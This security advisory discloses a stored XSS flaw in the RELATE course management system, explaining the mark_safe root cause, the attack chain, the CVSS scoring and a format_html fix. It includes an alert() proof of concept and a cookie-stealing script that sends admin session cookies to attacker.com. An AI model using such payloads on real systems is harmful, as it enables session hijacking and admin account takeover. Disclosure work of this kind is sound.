CVE: CVE-2026–42197 Severity: High (CVSS 8.7) CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation (Stored XSS) Advisory: GHSA-37xm-vhx8-g6w3 Project: RELATE — Open-Source Course Management System Author: Ruslan Amrahov

Overview

A Stored XSS vulnerability in RELATE — an open-source Django-based LMS used by universities — allowed any enrolled student to execute arbitrary JavaScript in an administrator's browser session by injecting a payload through their own profile page. Successful exploitation results in full admin account takeover.

This is the third vulnerability I disclosed in RELATE in April 2026, following CVE-2026–41588 (Critical — Timing Attack) and CVE-2026–41505 (High — Weak PRNG).

Root Cause Analysis

The Vulnerable Function

# course/admin.py — ParticipationAdmin
@admin.display(
    description=pgettext("real name of a user", "Name"),
    ordering="user__last_name",
)
def get_user(self, obj):
    from django.utils.html import mark_safe
    return mark_safe(string_concat(
            "<a href='%(link)s'>", "%(user_fullname)s",
            "</a>"
            ) % {
                "link": reverse(
                    "admin:{}_change".format(
                        settings.AUTH_USER_MODEL.replace(".", "_").lower()),
                    args=(obj.user.id,)),
                "user_fullname": obj.user.get_full_name(  # ← UNSANITIZED USER INPUT
                    force_verbose_blank=True),
            })

Two flaws compound each other here:

Flaw 1 — mark_safe(): This function explicitly tells Django's template engine to bypass its automatic HTML escaping for the returned string. It is intended only for strings that have already been sanitized. Here, it is applied to a string containing raw user input.

Flaw 2 — % string formatting: Unlike format_html(), Python's % operator performs no HTML escaping on interpolated values. It inserts values verbatim into the string before mark_safe() marks the entire result as trusted HTML.

The combination produces a direct, unobstructed path from user-controlled data to raw HTML output in the admin panel.

The Input Source

get_full_name() returns a concatenation of first_name and last_name from the User model. Both fields are writable by any authenticated user via the /profile/ endpoint:

# course/auth.py — UserForm
class UserForm(StyledModelForm):
    class Meta:
        model = get_user_model()
        fields = ("first_name", "last_name", "email",
                  "institutional_id", "editor_mode")

No input sanitization, no length restriction on script content, no output encoding. The value is stored in the database as-is and later rendered as trusted HTML in the admin panel.

Attack Chain

[Student] POST /profile/
          first_name = <script>PAYLOAD</script>
                 ↓
          Database stores raw payload
                 ↓
[Admin]   GET /admin/course/participation/
                 ↓
          get_user() → get_full_name() → raw payload
                 ↓
          mark_safe() + % → injected into HTML response
                 ↓
          Browser executes PAYLOAD in admin session

Exploitation

Proof of Concept

1. Login as student → /profile/
2. Set First name: <script>alert('XSS')</script>
3. Click Update (no validation error)
4. Ensure active Participation record exists
5. Admin opens /admin/course/participation/
6. alert() fires in admin's browser

Real-World Payload

<script>
fetch('https://attacker.com/c?s=' +
      encodeURIComponent(document.cookie));
</script>

This silently exfiltrates the admin's session cookie on every page load. The attacker replays the stolen cookie to impersonate the admin — gaining unrestricted access to all students, grades, exam tickets, and course configurations.

Key properties of this attack:

  • Persistent — payload fires every time any admin views the Participation list
  • Silent — no visible indication to the admin
  • Low-privilege entry point — any enrolled student, no special role needed
  • Multi-target — affects every admin who opens the affected page

CVSS Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N — Score: 8.7
AV:N   Network         → Exploitable remotely, no local access required
AC:L   Low             → No special conditions; trivially reproducible
PR:L   Low             → Student-level account sufficient
UI:R   Required        → Admin must open /admin/course/participation/
S:C    Changed         → Student privilege → Admin security context
C:H    High            → Full session access, all admin-visible data
I:H    High            → Can create/modify/delete any admin-accessible record
A:N    None            → System availability unaffected

The Scope: Changed metric is the critical driver. A low-privileged user (student) crosses into a completely separate security context (administrator session). This boundary violation is what elevates the score to High.

AC:L reflects that there are no race conditions, timing windows, or special environmental requirements. The attack works on any RELATE deployment with default configuration.

The Fix

# BEFORE — vulnerable
from django.utils.html import mark_safe
return mark_safe(string_concat(
        "<a href='%(link)s'>", "%(user_fullname)s", "</a>"
        ) % {
            "link": reverse(..., args=(obj.user.id,)),
            "user_fullname": obj.user.get_full_name(force_verbose_blank=True),
        })
# AFTER - secure
from django.utils.html import format_html
return format_html(
    "<a href='{}'>{}</a>",
    reverse(..., args=(obj.user.id,)),
    obj.user.get_full_name(force_verbose_blank=True)
)

format_html() was built for exactly this use case. It constructs an HTML string with dynamic values while automatically escaping every argument:

Input:  <script>alert('XSS')</script>
Output: <script>alert(&#x27;XSS&#x27;)</script>

The browser renders this as plain text. The script never executes.

Why mark_safe() + % Is a Known Anti-Pattern

Django's own documentation states:

Marking strings as safe should only be done when you are certain that the string contains no malicious content.

The mark_safe() + % pattern violates this contract by applying the safety mark after unsanitized user data has already been interpolated. format_html() was introduced precisely to replace this pattern — it performs escaping on each argument before interpolation, making it structurally impossible to inject unsanitized content.

Any occurrence of mark_safe() combined with % formatting and user-controlled values should be treated as a confirmed vulnerability.

All testing performed on a local RELATE instance. No production systems were accessed.